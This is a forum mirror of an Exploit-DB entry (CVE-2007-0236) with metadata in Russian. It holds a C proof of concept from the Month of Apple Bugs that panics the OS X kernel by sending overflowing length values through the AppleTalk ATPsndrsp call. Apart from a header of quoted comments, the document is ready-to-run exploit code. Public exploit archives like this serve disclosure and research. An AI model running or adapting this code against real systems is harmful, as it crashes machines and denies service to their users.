- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 3130
- Проверка EDB
-
- Пройдено
- Автор
- MOAB
- Тип уязвимости
- DOS
- Платформа
- OSX
- CVE
- cve-2007-0236
- Дата публикации
- 2007-01-14
C:
/* proof of concept for moab-14-01-2007
* Copyright (c) 2006, LMH <lmh [at] infopull.com>
* Shout outs to: icer, kf, ilja, hd, et al.
*
* free feedback samples for public consumption:
*
* "the panic() function takes a string for the reason the panic
* occurred. As you can see from the above, the reason us due to the
* fact the buffer size is absurd. The system caught this absurdity and
* handled it by calling panic().
* In other words, not capable of executing arbitrary code."
* -- Rosyna Keller, talking about allocbuf() failing due to allocation
* of a negative size buffer, caused by a simple integer overflow.
*
*
* ">LMH claims #10 leads to "potential arbitrary code execution." That's
* >not good enough where I come from. Either the arbitrary code executes,
* >or it doesn't. I may be talking thru my elbow, but I suggest the
* >absence of a working example of "arbitrary code execution" is that we
* >have caused a kernel panic, and stack based execution ceases."
* -- dinornis, stack based haxor in training.
*
*/
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdarg.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sockio.h>
#include <netat/appletalk.h>
int main(int argc, char **argv) {
int fd, retv, i;
unsigned int a, b;
char *powder;
if ((fd = socket(AF_APPLETALK, SOCK_RAW, 0)) < 0)
exit(1);
powder = malloc(6000);
memset(powder, 0x41, 5999);
for (i=0; i < 7000; i++) {
a = strlen(powder) - i;
b = i;
printf("powder@%p a=%u b=%u\n", powder, a, b);
retv = ATPsndrsp(fd, (unsigned char *)powder, a, b);
}
close(fd);
free(powder); // won't reach this unless appletalk is disabled
return 0;
}
// milw0rm.com [2007-01-14]
- Источник
- www.exploit-db.com